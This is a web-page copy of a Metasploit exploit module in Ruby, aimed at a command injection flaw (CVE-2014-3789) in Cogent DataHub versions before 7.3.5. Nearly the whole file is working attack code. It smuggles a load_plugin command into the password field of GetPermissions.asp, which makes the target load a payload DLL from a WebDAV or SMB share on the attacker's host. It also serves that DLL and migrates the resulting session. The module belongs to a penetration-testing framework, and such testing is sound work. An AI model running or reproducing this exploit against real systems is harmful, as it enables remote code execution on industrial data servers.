Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/cogent_datahub_command.rb
19512 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
# Exploitation is reliable, but the service hangs and needs manual restarting.
8
Rank = ManualRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Remote::HttpServer::HTML
12
include Msf::Exploit::EXE
13
14
def initialize
15
super(
16
'Name' => 'Cogent DataHub Command Injection',
17
'Description' => %q{
18
This module exploits an injection vulnerability in Cogent DataHub prior
19
to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which
20
makes insecure use of the datahub_command function with user controlled
21
data, allowing execution of arbitrary datahub commands and scripts. This
22
module has been tested successfully with Cogent DataHub 7.3.4 on
23
Windows 7 SP1. Please also note that after exploitation, the remote service
24
will most likely hang and restart manually.
25
},
26
'Author' => [
27
'John Leitch', # Vulnerability discovery
28
'juan vazquez' # Metasploit module
29
],
30
'Platform' => 'win',
31
'References' => [
32
['ZDI', '14-136'],
33
['CVE', '2014-3789'],
34
['BID', '67486']
35
],
36
'Stance' => Msf::Exploit::Stance::Aggressive,
37
'DefaultOptions' => {
38
'WfsDelay' => 30,
39
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
40
},
41
'Targets' => [
42
[ 'Cogent DataHub < 7.3.5', {} ],
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => 'Apr 29 2014'
46
)
47
register_options(
48
[
49
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),
50
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]),
51
OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will wait for the payload request', 20]),
52
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
53
]
54
)
55
end
56
57
def autofilter
58
false
59
end
60
61
def on_request_uri(cli, request)
62
case request.method
63
when 'OPTIONS'
64
process_options(cli, request)
65
when 'PROPFIND'
66
process_propfind(cli, request)
67
when 'GET'
68
process_get(cli, request)
69
else
70
vprint_status("#{request.method} => 404 (#{request.uri})")
71
resp = create_response(404, "Not Found")
72
resp.body = ""
73
resp['Content-Type'] = 'text/html'
74
cli.send_response(resp)
75
end
76
end
77
78
def process_get(cli, request)
79
if blacklisted_path?(request.uri)
80
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
81
resp = create_response(404, "Not Found")
82
resp.body = ""
83
cli.send_response(resp)
84
return
85
end
86
87
if request.uri.include?(@basename)
88
print_status("GET => Payload")
89
return if ((p = regenerate_payload(cli)) == nil)
90
91
data = generate_payload_dll({ :code => p.encoded })
92
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
93
return
94
end
95
96
# Treat index.html specially
97
if (request.uri[-1, 1] == "/" or request.uri =~ /index\.html?$/i)
98
vprint_status("GET => REDIRECT (#{request.uri})")
99
resp = create_response(200, "OK")
100
101
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|
102
resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
103
resp['Content-Type'] = 'text/html'
104
cli.send_response(resp)
105
return
106
end
107
108
# Anything else is probably a request for a data file...
109
vprint_status("GET => DATA (#{request.uri})")
110
data = rand_text_alpha(4 + rand(4))
111
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
112
end
113
114
#
115
# OPTIONS requests sent by the WebDav Mini-Redirector
116
#
117
def process_options(cli, request)
118
vprint_status("OPTIONS #{request.uri}")
119
headers = {
120
'MS-Author-Via' => 'DAV',
121
'DASL' => '<DAV:sql>',
122
'DAV' => '1, 2',
123
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +
124
+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
125
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +
126
+ 'LOCK, UNLOCK',
127
'Cache-Control' => 'private'
128
}
129
resp = create_response(207, "Multi-Status")
130
headers.each_pair { |k, v| resp[k] = v }
131
resp.body = ""
132
resp['Content-Type'] = 'text/xml'
133
cli.send_response(resp)
134
end
135
136
#
137
# PROPFIND requests sent by the WebDav Mini-Redirector
138
#
139
def process_propfind(cli, request)
140
path = request.uri
141
vprint_status("PROPFIND #{path}")
142
143
if path !~ /\/$/
144
145
if blacklisted_path?(path)
146
vprint_status "PROPFIND => 404 (#{path})"
147
resp = create_response(404, "Not Found")
148
resp.body = ""
149
cli.send_response(resp)
150
return
151
end
152
153
if path.index(".")
154
vprint_status "PROPFIND => 207 File (#{path})"
155
body = %Q|<?xml version="1.0" encoding="utf-8"?>
156
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
157
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
158
<D:href>#{path}</D:href>
159
<D:propstat>
160
<D:prop>
161
<lp1:resourcetype/>
162
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
163
<lp1:getcontentlength>#{rand(0x100000) + 128000}</lp1:getcontentlength>
164
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
165
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
166
<lp2:executable>T</lp2:executable>
167
<D:supportedlock>
168
<D:lockentry>
169
<D:lockscope><D:exclusive/></D:lockscope>
170
<D:locktype><D:write/></D:locktype>
171
</D:lockentry>
172
<D:lockentry>
173
<D:lockscope><D:shared/></D:lockscope>
174
<D:locktype><D:write/></D:locktype>
175
</D:lockentry>
176
</D:supportedlock>
177
<D:lockdiscovery/>
178
<D:getcontenttype>application/octet-stream</D:getcontenttype>
179
</D:prop>
180
<D:status>HTTP/1.1 200 OK</D:status>
181
</D:propstat>
182
</D:response>
183
</D:multistatus>
184
|
185
# send the response
186
resp = create_response(207, "Multi-Status")
187
resp.body = body
188
resp['Content-Type'] = 'text/xml; charset="utf8"'
189
cli.send_response(resp)
190
return
191
else
192
vprint_status "PROPFIND => 301 (#{path})"
193
resp = create_response(301, "Moved")
194
resp["Location"] = path + "/"
195
resp['Content-Type'] = 'text/html'
196
cli.send_response(resp)
197
return
198
end
199
end
200
201
vprint_status "PROPFIND => 207 Directory (#{path})"
202
body = %Q|<?xml version="1.0" encoding="utf-8"?>
203
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
204
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
205
<D:href>#{path}</D:href>
206
<D:propstat>
207
<D:prop>
208
<lp1:resourcetype><D:collection/></lp1:resourcetype>
209
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
210
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
211
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
212
<D:supportedlock>
213
<D:lockentry>
214
<D:lockscope><D:exclusive/></D:lockscope>
215
<D:locktype><D:write/></D:locktype>
216
</D:lockentry>
217
<D:lockentry>
218
<D:lockscope><D:shared/></D:lockscope>
219
<D:locktype><D:write/></D:locktype>
220
</D:lockentry>
221
</D:supportedlock>
222
<D:lockdiscovery/>
223
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
224
</D:prop>
225
<D:status>HTTP/1.1 200 OK</D:status>
226
</D:propstat>
227
</D:response>
228
|
229
230
if request["Depth"].to_i > 0
231
trail = path.split("/")
232
trail.shift
233
case trail.length
234
when 0
235
body << generate_shares(path)
236
when 1
237
body << generate_files(path)
238
end
239
else
240
vprint_status "PROPFIND => 207 Top-Level Directory"
241
end
242
243
body << "</D:multistatus>"
244
245
body.gsub!(/\t/, '')
246
247
# send the response
248
resp = create_response(207, "Multi-Status")
249
resp.body = body
250
resp['Content-Type'] = 'text/xml; charset="utf8"'
251
cli.send_response(resp)
252
end
253
254
def generate_shares(path)
255
share_name = @share_name
256
%Q|
257
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
258
<D:href>#{path}#{share_name}/</D:href>
259
<D:propstat>
260
<D:prop>
261
<lp1:resourcetype><D:collection/></lp1:resourcetype>
262
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
263
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
264
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
265
<D:supportedlock>
266
<D:lockentry>
267
<D:lockscope><D:exclusive/></D:lockscope>
268
<D:locktype><D:write/></D:locktype>
269
</D:lockentry>
270
<D:lockentry>
271
<D:lockscope><D:shared/></D:lockscope>
272
<D:locktype><D:write/></D:locktype>
273
</D:lockentry>
274
</D:supportedlock>
275
<D:lockdiscovery/>
276
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
277
</D:prop>
278
<D:status>HTTP/1.1 200 OK</D:status>
279
</D:propstat>
280
</D:response>
281
|
282
end
283
284
def generate_files(path)
285
trail = path.split("/")
286
return "" if trail.length < 2
287
288
base = @basename
289
exts = @extensions.gsub(",", " ").split(/\s+/)
290
files = ""
291
exts.each do |ext|
292
files << %Q|
293
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
294
<D:href>#{path}#{base}.#{ext}</D:href>
295
<D:propstat>
296
<D:prop>
297
<lp1:resourcetype/>
298
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
299
<lp1:getcontentlength>#{rand(0x10000) + 120}</lp1:getcontentlength>
300
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
301
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
302
<lp2:executable>T</lp2:executable>
303
<D:supportedlock>
304
<D:lockentry>
305
<D:lockscope><D:exclusive/></D:lockscope>
306
<D:locktype><D:write/></D:locktype>
307
</D:lockentry>
308
<D:lockentry>
309
<D:lockscope><D:shared/></D:lockscope>
310
<D:locktype><D:write/></D:locktype>
311
</D:lockentry>
312
</D:supportedlock>
313
<D:lockdiscovery/>
314
<D:getcontenttype>application/octet-stream</D:getcontenttype>
315
</D:prop>
316
<D:status>HTTP/1.1 200 OK</D:status>
317
<D:ishidden b:dt="boolean">1</D:ishidden>
318
</D:propstat>
319
</D:response>
320
|
321
end
322
323
files
324
end
325
326
def gen_timestamp(ttype = nil)
327
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
328
end
329
330
def gen_datestamp(ttype = nil)
331
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
332
end
333
334
# This method rejects requests that are known to break exploitation
335
def blacklisted_path?(uri)
336
share_path = "/#{@share_name}"
337
payload_path = "#{share_path}/#{@basename}.dll"
338
case uri
339
when payload_path
340
return false
341
when share_path
342
return false
343
else
344
return true
345
end
346
end
347
348
def check
349
res = send_request_cgi({
350
'method' => 'POST',
351
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
352
'vars_post' =>
353
{
354
'username' => rand_text_alpha(4 + rand(4)),
355
'password' => rand_text_alpha(4 + rand(4))
356
}
357
})
358
359
if res && res.code == 200 && res.body =~ /PermissionRecord/
360
return Exploit::CheckCode::Detected
361
end
362
363
Exploit::CheckCode::Safe
364
end
365
366
def send_injection(dll)
367
res = send_request_cgi({
368
'method' => 'POST',
369
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
370
'vars_post' =>
371
{
372
'username' => rand_text_alpha(3 + rand(3)),
373
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
374
"(load_plugin \"#{dll}\" 1)(\""
375
}
376
}, 1)
377
378
res
379
end
380
381
def on_new_session(session)
382
if service
383
service.stop
384
end
385
386
super
387
end
388
389
def primer
390
print_status("Sending injection...")
391
res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")
392
if res
393
print_error("Unexpected answer")
394
end
395
end
396
397
def exploit
398
if datastore['UNCPATH'].blank?
399
@basename = rand_text_alpha(3)
400
@share_name = rand_text_alpha(3)
401
@extensions = "dll"
402
@system_commands_file = rand_text_alpha_lower(4)
403
404
if (datastore['SRVHOST'] == '0.0.0.0')
405
@myhost = Rex::Socket.source_address('50.50.50.50')
406
else
407
@myhost = datastore['SRVHOST']
408
end
409
410
@exploit_unc = "\\\\#{@myhost}\\"
411
412
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
413
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
414
end
415
416
print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +
417
"\\#{@basename}.dll")
418
419
begin
420
# The Windows Webclient needs some time...
421
Timeout.timeout(datastore['WEBDAV_DELAY']) { super }
422
rescue ::Timeout::Error
423
service.stop if service
424
end
425
else
426
# Using external SMB Server
427
if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/
428
host = $1
429
share_name = $2
430
dll_name = $3
431
print_status("Sending injection...")
432
res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")
433
if res
434
print_error("Unexpected answer")
435
end
436
else
437
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.dll')
438
end
439
end
440
end
441
end
442
443